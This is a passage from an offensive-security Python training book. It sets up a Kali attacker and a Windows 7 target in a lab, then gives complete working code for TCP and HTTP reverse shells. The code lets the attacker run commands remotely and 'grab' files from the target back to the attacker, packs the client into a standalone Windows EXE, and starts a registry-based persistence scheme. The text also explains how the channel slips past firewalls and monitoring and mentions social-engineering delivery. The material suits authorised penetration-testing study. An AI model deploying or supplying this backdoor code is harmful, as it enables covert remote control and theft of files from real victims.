Nowadays, security solutions such as firewalls, IPS, and sandboxing are becoming more and more advanced to prevent and detect cyber-attacks. So, being an advanced hacker requires you to code your own script and tools to bypass these security solutions.
The following topics will be covered in this chapter:
- Preparing the attacker machine
- Preparing the target machine
- TCP reverse Shell
- HTTP reverse Shell
- Persistence
- Tuning connection attempts
- Tips for preventing a shell breakdown
- Countermeasures
In this section, we will prepare our Kali Linux machine as the attacker. Note that we are assuming that the operating system is already set up in VMware or VirtualBox. As of now, we will be using VirtualBox for all our chapters.
We can check the version of any Linux OS by running the following cat
command to display the content from the file /etc/os-release
, which contains OS distribution data. We will be using Kali Linux version 2018.1, as you can see from the following screenshot:

It doesn't matter what your Kali version is. For this book, we will be using the latest version available at the time of writing. Since, by default, Python is preinstalled in every Linux distribution, we can get the version details from either the interactive shell by running the command python
or by using python -V
, as shown in the following screenshot:

We will be using Python 2.7.14+
for now, which came preinstalled with our Linux version.
So, let's go for networking a little bit. In this chapter, the Kali IP is 10.0.2.15
. We can check the Kali IP by running the ifconfig eth0
command. This will return the network interface configuration as shown here:

To set up the internet on our system, we just need to change the network mode to Network Address Translation (NAT)
in VirtualBox. NAT
mode will mask all network activity as if it came from your host OS, although VirtualBox can access external resources. To do this, perform the following steps:
- Click on the
Devices
menu from VirtualBox's menu bar - Go to
Network
and selectNetwork Settings
- Select the network mode as
NAT
and click onOK
as shown in the following screenshot:
Once you perform the preceding steps, you should be able to reach the internet, as long as the VirtualBox host does. You can check internet access by running ping 8.8.8.8
from the terminal.
Now, if you don't have a GUI compiler for Python, you can just install it using the following command:
apt-get install idle
Once it's installed, let's do a quick print program using IDLE (using Python-2.7),which we installed using the previous command. Open a new Python file and type print ('hello there')
. Run the program and save it on the desktop. Once you finish accessing the internet, you now need to change the network mode back to Internal Network
so that we can reach out to our Windows target. This is shown in the following screenshot:

Note
Note that the Windows target globally machine is sitting on the same internal network as Kali attacker globally machine, intnet
, here.
And, as a last step, we should verify that we still got the same IP address, which is 10.0.2.15
by running ifconfig
in the terminal.
In this section, we will be preparing our target. We are using a 32-bit Windows 7 machine as our target. We will begin by installing Python 2.7.14+ version from https://www.python.org/downloads/. After you begin the installation, you'll notice that Python will install other handy tools such as pip
and easy_install
. We will be using pip
to install third-party libraries later on.
Similar to what we have done in Kali, we will create a quick and simple Python script just to make sure that everything is working fine. Create a new file. Type print ('hi')
, run the script, and save it to the desktop. After this, we need to add Python to our path, so we can start an interactive mode or interactive shell anywhere from the command line. Open a command line and type python
; you will see that Windows does not recognize the python.exe
application by default, so we've got to add that manually.
Perform the following steps to achieve this:
- Go to
Advanced system settings
|Environment Variables.
- In
System Variables
, scroll down until you reach the variablePath
. You will need to append the Python path and thepip
path here. - Copy the path where the Python application is installed and append it to the
Variable value
. - Ensure that you insert a semicolon at the end, just to make sure that you append it to our existing
Variable value
.
- Also, copy the path where
pip
is installed from the/Scripts
folder and append it to theVariable value
as shown in the following screenshot: - Restart the machine so that it recognizes the new values we've just inserted.
- After the restart is complete, open a command line and type
python
and the interactive shell will appear:
- Lastly, we need to give this machine an IP address on the same subnet as the Kali machine. We can change the network settings by going to
Network and Internet
/Network and Sharing Center
from the control panel. Click on theLocal Area Connection
and then click onProperties
. From there, go toInternet Protocol Version 4 (TCP/IPv4)
, enter theIP address
as10.0.2.10
and the rest as shown in the following screenshot. Then click onOK
:

In this section, we will have a quick overview of TCP reverse shells, why we need a reverse connection, and what a shell is. The best way to answer these questions is to study the topology shown in the following figure:

Let's say that we have an Attacker connected somewhere on the Internet, and on the right side we have our Target. So technically, we have a PC that is fully patched with a built-in firewall enabled, and we have the corporate firewall in place. And most likely that Corporate firewall is integrated with an IPS module or Antivirus software. So now, for the attacker to access this protected PC, there are two major problems here. First, the attacker needs to bypass the built-in or the host-based firewall on the operating system, which, by default, will block any incoming connection to that PC unless it's explicitly permitted; and the same rule goes for the corporate firewall as well.
But, if the attacker could somehow find a way to send a malicious file to the user, or maybe trick that user into visiting our malicious website and downloading a malicious file, then we might be able to compromise that PC or maybe the whole network. So, in order to bypass the firewall root restriction, we need to make our target, which is the TCP client, initiate the connection back to us. So, in this case, we are acting as a TCP server, and our target, or our victim here, is acting as a TCP client and this is exactly why we need a reverse shell.
Now, we need to understand what a shell is in the first place. If we can initiate a cmd
process on the target machine and bind that process to a network socket, in this case, it's called a reverse shell. Hence, when we say that we sent a TCP reverse shell on port 123
to the target machine, it means that once the victim runs the file, we're expecting to receive a reverse TCP connection on port 123
. So, the destination port in this case will be 123
, and we should be listening on this port. So this port should be open in our Kali machine. Then, after completing the TCP three-way handshake, we can send certain commands to the victim/target, make the victim execute them, and get the result back to us.
Note
Keep in mind that a combination of social engineering and client-side attacks, which we discussed here, is the most powerful type of attack, and is highly likely to succeed.
In this section, we will call a sample TCP server on the Kali machine and a sample TCP client on the target machine. Then, we will see how to execute some commands remotely from the Kali machine.
Lets start with the server side. Building a TCP server in Python is quite simple:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic TCP Server import socket # For Building TCP Connection def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port s.listen(1) # define the backlog size, since we are expecting a single connection from a single # target we will listen to one connection print '[+] Listening for incoming TCP connection on port 8080' conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source # port in a tuple format (IP,port) print '[+] We got a connection from: ', addr while True: command = raw_input("Shell> ") # Get user input and store it in command variable if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop conn.send('terminate') conn.close() break else: conn.send(command) # Otherwise we will send the command to the target print conn.recv(1024) # and print the result that we got back def main (): connect() main()
As you can see from the preceding code, the script starts with importing the socket
library, which is responsible for coding a low-level network interface. The AF_INIT
defines the socket address as a pair: the host and port. In this case, it will be 10.10.10.100
, and the port is 8080
. The SOCK_STREAM
is the default mode for the socket type. Now, the bind function specifies the Kali IP address and the listening port in a tuple format, which is 10.10.10.100
, and we should be listening on port 8080
to receive a connection.
Since we are expecting only a single connection from a single target, we'll be listening for a single connection. So the backlog size, which specifies the maximum number of queued connection, is 1
; and we define the listening value to be 1
. Now, the accept
function returns the value of a pair of connection objects (conn
), as well as the address (addr
). The address here is the target IP address and the source port used from the target to initiate the connection back to us. Next, we will go into an infinite loop and get our command input and send it to the target machine. This raw input is used to get the user input. If the user input was terminate
, we will inform our target that we want to close the session, and then we will close the session from our side. Otherwise, we will send a command
to the target, and we will read and print the first KB of the received data from the target side.
Now, let's look into the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic TCP Client import socket # For Building TCP Connection import subprocess # To start the shell in the system def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port while True: # keep receiving commands from the Kali machine command = s.recv(1024) # read the first KB of the tcp socket if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop s.close() break else: # otherwise, we pass the received command to a shell process CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send( CMD.stdout.read() ) # send back the result s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error def main (): connect() main()
We import the subprocess
to start the shell and the system. Next, the connection part is quite simple. We define s
and socket
object, and we specify the IP address of the Kali machine and the port that we should initiate the connection on. The port that we are listening to on the Kali machine should exactly match the port from which we initiate the connection from the target machine. Similar to the server side, we will go into an infinite loop and get the attacker command. If the attacker command is terminate
, or if there is a terminate
keyword or string in the command, then we close the connection and break the infinite loop, otherwise we will use the subprocess
to start a shell in the system. We will pass the command that we have received from the attacker machine to the subprocess
, and get the result or the error. Notice that the subprocess
has a kind of self-mechanism for exception handling. For instance, if we mistype a certain command on the Kali side and send the wrong syntax to the target, instead of crashing the process, the stderr
handles the exception and returns the error.
Let's quickly try our script from the Python IDE that we used earlier for the hello there
program. Run the server side first by clicking on Run
and selecting Run Module
. Just to verify that we have opened a listener on port 8080
, run the following command:
netstat -antp | grep "8080"

As you can see, python2.7
has opened the port and we are listening. Run the target script on the other VirtualBox. As shown in the following screenshot, we've got ten our shell from an IP address of 10.0.2.10
, which is the IP address of our Windows machine, and a source port of 49160
:

Let's explore the target machine a little bit starting with ipconfig
and dir
:

Let's go for arp -a
. We now get the ARP table on the target machine:

As shown in the previous screenshot, on mistyping a command, instead of crashing the script, the subprocess stderr
returns the wrong syntax error.
To quickly recap what we have done here so far, we have built a reverse TCP tunnel and got the user input using the raw input. When we type arp -a
, the raw input will get that command and then we will send it to the target machine. Once received at the target side, we initiate cmd
as a subprocess, send the error or the result back, and print it out on the target side.
In the previous section, we have seen how to navigate target directories. Now we will see how to grab these files. Ensure that, before grabbing any data from the target machine, the rules of engagement explicitly allow this.
So, let's start with the updated server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # TCP Data Exfiltration Server import socket import os # Needed for file operation # In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the # received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however # If the requested file doesn't exist or if we reached the end of the file then we will break the loop # note that we could know the end of the file, if we received the "DONE" tag from the target side # Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input def transfer(conn,command): conn.send(command) f = open('/root/Desktop/test.png','wb') while True: bits = conn.recv(1024) if 'Unable to find out the file' in bits: print '[-] Unable to find out the file' break if bits.endswith('DONE'): print '[+] Transfer completed ' f.close() break f.write(bits) def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("10.0.2.15", 8080)) s.listen(1) print '[+] Listening for incoming TCP connection on port 8080' conn, addr = s.accept() print '[+] We got a connection from: ', addr while True: command = raw_input("Shell> ") if 'terminate' in command: conn.send('terminate') conn.close() break # if we received grab keyword from the user input, then this is an indicator for # file transfer operation, hence we will call transfer function # Remember the Formula is grab*<File Path> # Example: grab*C:\Users\Hussam\Desktop\photo.jpeg elif 'grab' in command: transfer(conn,command) else: conn.send(command) print conn.recv(1024) def main (): connect() main()
The elif 'grab' in command:
code indicates that this is not a normal command; this command is used to transfer a file. So, both the server and the client must agree on this indicator or formula. Now, the formula will be grab
followed by *
and the path of the file that we want to grab, for example, grab*C:\Users\Hussam\Desktop\photo.jpeg
.
Now, let's take a look at the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # TCP Data Exfiltration Client import socket import subprocess import os # needed for file operations # In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker # otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the # server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file def transfer(s,path): if os.path.exists(path): f = open(path, 'rb') packet = f.read(1024) while packet != '': s.send(packet) packet = f.read(1024) s.send('DONE') f.close() else: # the file doesn't exist s.send('Unable to find out the file') def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.0.2.15', 8080)) while True: command = s.recv(1024) if 'terminate' in command: s.close() break # if we received grab keyword from the attacker, then this is an indicator for # file transfer operation, hence we will split the received commands into two # parts, the second part which we intrested in contains the file path, so we will # store it into a variable called path and pass it to transfer function # Remember the Formula is grab*<File Path> # Example: grab*C:\Users\Hussam\Desktop\photo.jpeg elif 'grab' in command: grab,path = command.split('*') try: # when it comes to low level file transfer, a lot of things can go wrong, therefore # we use exception handling (try and except) to protect our script from being crashed # in case something went wrong, we will send the error that happened and pass the exception transfer(s,path) except Exception,e: s.send ( str(e) ) # send the exception error pass else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send( CMD.stdout.read() ) s.send( CMD.stderr.read() ) def main (): connect() main()
As mentioned previously, both the client and the server must agree on the grab
formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before *
and the section after *
, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.
Next, we send the path
variable to the transfer
function. So, the first thing that we'll do in the transfer
function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file'
message to the server.
Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE
string in the preceding code block is to indicate that we have reached the end of the file.
Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png
, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png
. When it receives the DONE
string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file
, it will print this out and break the loop.
Now, run the server script again and we'll be listening to port 8080
. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf
by running the grab*Module2.pdf
command:

When we type the aforementioned command, it will trigger the if
statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf
, we will split up this command into two parts. The second part contains Module2.pdf
, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed
.
Find the file on your desktop, it's called 1.txt
now, change the file extension to .pdf
, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf
using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.
Let's try with another one. Now, we'll grab Tulips.png
:

Since the file that we want to grab has the same extension as our file holder, which is .png
, we don't need to change the file extension.
Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe
and it will throw an error, as shown in the following image:

This will crash our script on the target side, which you will see when you run ipconfig
.
You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.
There are multiple methods to export your Python script into a standalone EXE file. Today we'll use py2exe
library. You can download the py2exe-0.6.9.win32-py2.7.exe
version from https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/.
First, proceed to install this library. It is a fairly simple process just follow the on-screen prompts.
After you've finished the installation, open a Python window on the Windows machine and import py2exe
just to make sure that we can import this library without any exceptions. Type python
and then import py2exe
. If it doesn't throw a error, you're successful:

Now, create a folder named Toexe
on your desktop. In this folder, you should have three things: the py2exe
binary file, py2exe
setup file, and your Client.py
script file. For simplicity, rename the binary to py2exe
.
The setup file, setup.py
, will set the criteria for the final standalone EXE file:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ from distutils.core import setup import py2exe , sys, os sys.argv.append("py2exe") setup( options = {'py2exe': {'bundle_files': 1}}, windows = [{'script': "Client.py"}], zipfile = None, )
In the setup.py
script, we start by appending the py2exe
binary into our directory. Then, we set the bundle_files
to1
. Define the name of our script,Client.py
. Setzipfile
to None
and run thissetup
file.
Two folders will be created, called build
and dist
, after performing the aforementioned steps, as shown in the following screenshot:

So under the dist
folder, we got our Client.exe
as a standalone, without any dependencies. Now, on running Client.exe
, we will get the connection (provided the server script from the previous section Data exfiltration, is running on the Kali side) and we can see that a the Client.exe
process has been created on the Windows Task Manager
, as shown in the following screenshot:

So once again, perform a quick verification as follows:
- Run
ipconfig
- Navigate through the directories
- Grab a file such as
Koala.png
and wait for its successful transfer:

- Change the file extension to
.png
- Now, open the image and, after successfully viewing it, terminate the
Client.exe
process - Execute
terminate
in the shell on your Kali machine - Once you hit Enter, it gets terminated on the target machine
In this section, we will discuss a higher-level Python reverse shell, which will be carried over the HTTP protocol. The HTTP protocol is highly likely to be opened on the outbound or egress firewall rules, since it's used for web surfing. Also, a lot of HTTP traffic is required in every network, which makes monitoring much harder and the chances of us slipping up are high. Let's see how it works.
First, we'll configure a simple HTTP server and a simple HTTP client and we'll use the GET
and POST
methods to send data back and forth between these two entities. So, as mentioned earlier, the client will initiate a reverse HTTP session back to our server using a GET
method and on the server side, once we receive a GET
request, we'll start taking commands using raw input, and we will send that command back to the target.
Once we give the command to the target, it'll initiate a subprocess: a cmd.exe
subprocess. Pass the command to that subprocess and it will post the result back to us using the POST
method. Just to make sure there is continuity for our shell, we will perform sleep
for 3 seconds. Then we will repeat the whole process all over again using the while True:
infinite loop. The code is much simpler than the previous TCP socket, especially in the file transfer section, and this is because we are using a high-level protocol to transfer the files and data. The next section deals with the coding part.
In this section, we'll cover the coding part for an HTTP reverse shell. On the client side, we'll be using a very high-level library to send our GET
and POST
requests.
The library called Requests
, which is available at https://pypi.python.org/pypi/requests/2.7.0#downloads, will make it much easier to do a GET
or POST
request in only a single line. Requests
is a third-party library, so let's start by installing it. All you have to do is navigate through the Command Prompt to the folder that contains its setup file and issue python setup.py install
.
To verify that the library has been installed successfully, open the Python interpreter, like we did earlier for py2exe
, and enter import requests
. If no exceptions are thrown here, we're good to go:

The following block of code is on the server side:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic HTTP Server import BaseHTTPServer # Built-in library we use to build simple HTTP server HOST_NAME = '10.10.10.100' # Kali IP address PORT_NUMBER = 80 # Listening port number class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request # from the client / target def do_GET(s): #If we got a GET request, we will:- command = raw_input("Shell> ") #take user input s.send_response(200) #return HTML status 200 (OK) s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html" s.end_headers() s.wfile.write(command) #send the command which we got from the user input def do_POST(s): #If we got a POST, we will:- s.send_response(200) #return HTML status 200 (OK) s.end_headers() length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length #value has to be integer postVar = s.rfile.read(length) # Read then print the posted data print postVar if __name__ == '__main__': # We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler) server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) try: httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server except KeyboardInterrupt: print '[!] Server is terminated' httpd.server_close()
On the server side, we'll use a built-in library named BaseHTTPServer
, to build a basic HTTP server, which handles the client requests. Next, we define our Kali IP and the listening port address by settingPORT_NUMBER
to 80
. Then, we create aserver_class
andhttpd
object, and we will pass our listener IP, thePORT_NUMBER
, and a class handler MyHandler
to theserver_class
. The class handlerMyHandler
defines what should be done when the server receives aGET
orPOST
request. The server will run forever without coding awhile True:
.
Now, if the server gets a GET
request, it will grab the user input using the raw input and will send back an HTML status, 200
, which means OK. Now, the send_header()
specifies the header field definition. It's mandatory to set this value since our HTTP client has to know the type of data. In this case, it's HTML text, text/html
. Thewfile.write()
function is equivalent to sending data in our previous TCP shell, and we will be using this function to send the command that the user has input to our target.
If the server gets a POST
request first, similar to GET
, we will return an HTML status 200
to say that we got the POST
without any problem. The s.headers['Content-Length']
specifies how many bytes the HTTP POST
data contains. Note that the returned value is a string, but it has to be converted to an integer before passing it as a parameter to rfile.read()
. We will use the integer
function to perform this. Finally, we'll print the postVar
variable, and in this case it'll be the command execution output. The server will run forever using the serve_forever()
function without coding a while True:
. However, if we invoke Ctrl + C from the keyboard, it will break the loop.
The following block of code is on the client side:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic HTTP Client import requests # Download Link https://pypi.python.org/pypi/requests#downloads , just extract the rar file and follow the video :) import subprocess import time while True: req = requests.get('http://10.0.2.15') # Send GET request to our kali server command = req.text # Store the received txt into command variable if 'terminate' in command: break else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # POST the result post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) # or the error -if any- time.sleep(3)
Here, we use the subprocess to create a shell, and then we create a GET
request to our Kali server. Note that the req.text
function returns the text that we have got from sending the GET
request. In this case, text
is the command that we should execute. Now, once we get the command, we will start a subprocess, and the execution result or error will be sent as a POST
method in just a single line. Then, the process will sleep for 3 seconds, and repeat all over again. This time.sleep()
part is just to be on the safe side—in case we get a packet drop or unexpected error.
Note
Also, you can enhance this script by adding some exception handling using the try
and except
functions.
Once we proceed to run the script on both sides, we will get our shell on the server side and try navigating through the current working directories. Execute ipconfig
and you'll get the complete IP configuration. Now, mistype a command and the error message will be thrown, as shown in the following output:

At the end we terminate the session by executing terminate
on the server side. Once we do this, we exit our script on the client side, whereas to exit the script on the server side we need to hit on Ctrl + C on the keyboard to terminate the loop. The server will terminate by showing a [!] Server is terminated
message.
As we did with our TCP reverse shell, we will do a file transfer from the target machine back to the attacker machine.
Thankfully, the Requests
library supports submitting a file in just two lines:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # HTTP Data Exfiltration Client import requests import subprocess import os import time while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: break # end the loop # Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we # notify our attacker that we are unable to find the file, but if the file is there then we will :- # 1.Append /store in the URL # 2.Add a dictionary key called 'file' # 3.requests library use POST method called "multipart/form-data" when submitting files #All of the above points will be used on the server side to distinguish that this POST is for submitting a file NOT a usual command output #Please see the server script for more details on how we can use these points to get the file elif 'grab' in command: grab,path=command.split('*') # split the received grab command into two parts and store the second part in path variable if os.path.exists(path): # check if the file is there url = 'http://10.0.2.15/store' # Appended /store in the URL files = {'file': open(path, 'rb')} # Add a dictionary key called 'file' where the key value is the file itself r = requests.post(url, files=files) # Send the file and behind the scenes, requests library use POST method called "multipart/form-data" else: post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' ) else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) time.sleep(3)
Here, we will perform the same process as we did in the TCP socket. If we get a grab
command from the attacker machine, we will split this command into two parts, where the second part contains the path directory or the path for the file that we want to grab. Next, we will check whether the file is there. If not, we will notify the server about it immediately. Now, in case the file was there, notice that we have appended /store
to our URL, url = 'http://10.0.2.15/store'
as an indicator that we will be transferring a file, not a normal cmd
output since both use the POST
method to transmit data. So, for instance, when we send a file, let's say x.doc
, we will send it with a /store
in the URL. Also, the Requests
library uses a special POST
method called multipart/form-data
to submit or send a file.
Now, on the server side, we've imported a new library called cgi
. This one is used to handle the received file and store it locally. The following is the server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # HTTP Data Exfiltration Server import BaseHTTPServer import os, cgi HOST_NAME = '10.0.2.15' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(s): command = raw_input("Shell> ") s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(command) def do_POST(s): # Here we will use the points which we mentioned in the Client side, as a start if the "/store" was in the URL # then this is a POST used for file transfer so we will parse the POST header, if its value was 'multipart/form-data' then we # will pass the POST parameters to FieldStorage class, the "fs" object contains the returned values from FieldStorage in dictionary fashion if s.path == '/store': try: ctype, pdict = cgi.parse_header(s.headers.getheader('content-type')) if ctype == 'multipart/form-data' : fs = cgi.FieldStorage( fp = s.rfile, headers = s.headers, environ={ 'REQUEST_METHOD':'POST' } ) else: print "[-] Unexpected POST request" fs_up = fs['file'] # Remember, on the client side we submitted the file in dictionary fashion, and we used the key 'file' # to hold the actual file. Now here to retrieve the actual file, we use the corresponding key 'file' with open('/root/Desktop/1.txt', 'wb') as o: # create a file holder called '1.txt' and write the received file into this '1.txt' o.write( fs_up.file.read() ) s.send_response(200) s.end_headers() except Exception as e: print e return # once we store the received file in our file holder, we exit the function s.send_response(200) s.end_headers() length = int(s.headers['Content-Length']) postVar = s.rfile.read(length ) print postVar if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) try: httpd.serve_forever() except KeyboardInterrupt: print '[!] Server is terminated' httpd.server_close()
If we receive a POST
with a /store
in the URL and the content type as multipart/form-data
, it means that we'll get a file from the target machine, not the usual command output. Then, we need to pass the received file, headers
, and REQUEST_METHOD
to the FieldStorage
class. The returned value of FieldStorage
can be indexed like a Python dictionary, where we have a key and a corresponding value. For instance, if we create a Python dictionary called D
with a key K
and value v
as follows:

To get the value, v
, we just need to have the corresponding key, K
. On the client side, when we submitted the file, we attached a tag or key called files ='file'
. So, we will use this tag or key on the server side to receive that file. The FieldStorage
will grab the keys and its values and store them in an object calledfs
. But we're only interested in the value offile
, which is the tag or key that contains the actual file we sent. Once we get that value, we will write it into a placeholder called1.txt
. In the end, we exit the function to prevent any mix-up with ongoing file transfer posts.
To initiate the file transfer, perform the following steps:
- Run the code the usual way on both machines (
Run
|Run Module)
- Once we get the
Shell>
, proceed to perform a directory search with thedir
command and try to grab a file, sayputty.exe
, by running thegrab
command,grab*putty.exe
- Once we get the file on our server machine, rename the placeholder to
putty.exe
and verify that we haveputty.exe
running fine without any file corruption. This can be done by executing the following from the Command Prompt:
wine putty.exe
- Go back to the shell and grab another file, say
password.txt
, just to test it. - Check whether you can read the contents after renaming the placeholder
- Try to grab a non-existing file; you'll be presented with an error since it does not exist in the first place
In this section, similar to what we have done in our TCP socket, we will export and test our HTTP reverse shell into an EXE, and test it after that.
Here, also you need to create a folder named Toexe
on your desktop. As mentioned earlier, the py2exe
binary file, the py2exe
setup file, and the HTTP_Client.py
script file should be in the folder.
The setup file, setup.py
, will be as shown here:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ # HTTP Exporting to EXE Client Setup from distutils.core import setup import py2exe , sys, os sys.argv.append("py2exe") setup( options = {'py2exe': {'bundle_files': 1}}, windows = [{'script': "HTTP_Client.py"}], zipfile = None, )
Perform the following steps to initiate the export:
- Start by editing the setup file
py2exe
and changeClient.py
intoHTTP_Client.py
, which is the name of our script on the target side. - Execute the
setup.py
script. - Once we have finished, we will go to the
dist
folder and copyHTTP_Client.py
to the desktop. - Ensure that the server is already running. Once we get the
Shell>
, go to the directories using thedir
. - Try to grab a file, say
grab*password.txt
, as we did in the previous sections. - After getting the file successfully on the server side, try other simple commands such as
cd
andwhoami
. - Try typing an incorrect command and check whether you are getting the proper error message
- At the end, terminate the session from our shell by executing the
terminate
command - You can check to see that we have the
HTTP_Client.exe
process on our Windows machine; once we executeterminate
, the process will disappear from the list confirming its termination
Maintaining access is a very important phase of penetration testing. Let's assume that our target has run our shell and all things are going fine. Then suddenly, the target just turned off the computer. So, in this case, we'll lose everything. So, the key point here is that we need to survive after a reboot or a shutdown by the target machine. Now, before proceeding any further, some customers prohibit any modification to the target machine, so you've got to make sure you set the right expectations with your customer before proceeding any further.
If the modification is allowed, then we have three phases of execution as given here:
- First, we'll copy ourselves in a different location and we are doing that just in case our target deletes the shell file; so this copy is a backup. In this phase, two parameters should be identified. First, the source path, which is the directory where our shell exists or, in other words, the current working directory. The second parameter is the destination path; here it is the
Documents
folder.
Note
Since each PC has a different username, we'll have to find this out as we don't know the username profile that was on our target previously.
- In the second phase, after copying our shell into the
Documents
folder orDocuments
directory, we need to add a registry key and point it out to the copied file in theDocuments
folder. Keep in mind that the first and second phases should only run once after our backdoor gets installed on the target machine for the first time. - The third phase is to start our reverse shell without repeating the preceding 2 phases.
Since we don't know the current working directory or user profile, we've got to figure it out in the first place. This will happen in the system reconnaissance phase.
Now, to break down the workflow for our persistence shell, take a look at this simple flowchart:

Logically, we'll start with the system reconnaissance, Sys Reconn
, phase and the output of this phase will include two things. First, we will discover the current working directory of our shell, and find out the user profile. The second output should be the destination path. Next, we need to determine whether we are running for the first time on the target machine. Now, you probably are wondering how can we do that. Well, thanks should go to the OS library for simplifying the task for us. To achieve this, we will simply check whether our script exists in the destination path or not. If it exists, then this is not the first time we are on the target side since we have already done the first two phases. So, we will skip phases 1 and 2, and fire up our shell.
However, if this is the first time we have run on the target side, we will copy ourselves to the destination path, which is what we do in phase 1. Then, we add a new registry key pointing to this location, which is phase 2 here. Finally, we need to make sure that we get our connection back to the Kali server. In two upcoming sections, you'll see everything in action to provide more clarity on this concept. For ease of understanding, we'll break the coding part into two parts. In the first part, we will make putty.exe
persistent, and in the second part we will wrap up and integrate the persistent script with our previous HTTP reverse shell.
In this section, we'll make the putty.exe
program persistent. You can search on Google and download PuTTY software for free. As we explained earlier, our script will start by doing a system reconnaissance, and the output of this phase will either be the current working directory or the destination of the user profile.
Now, let's translate this phase into a block of code as shown here—these lines will perform the reconnaissance phase for us:
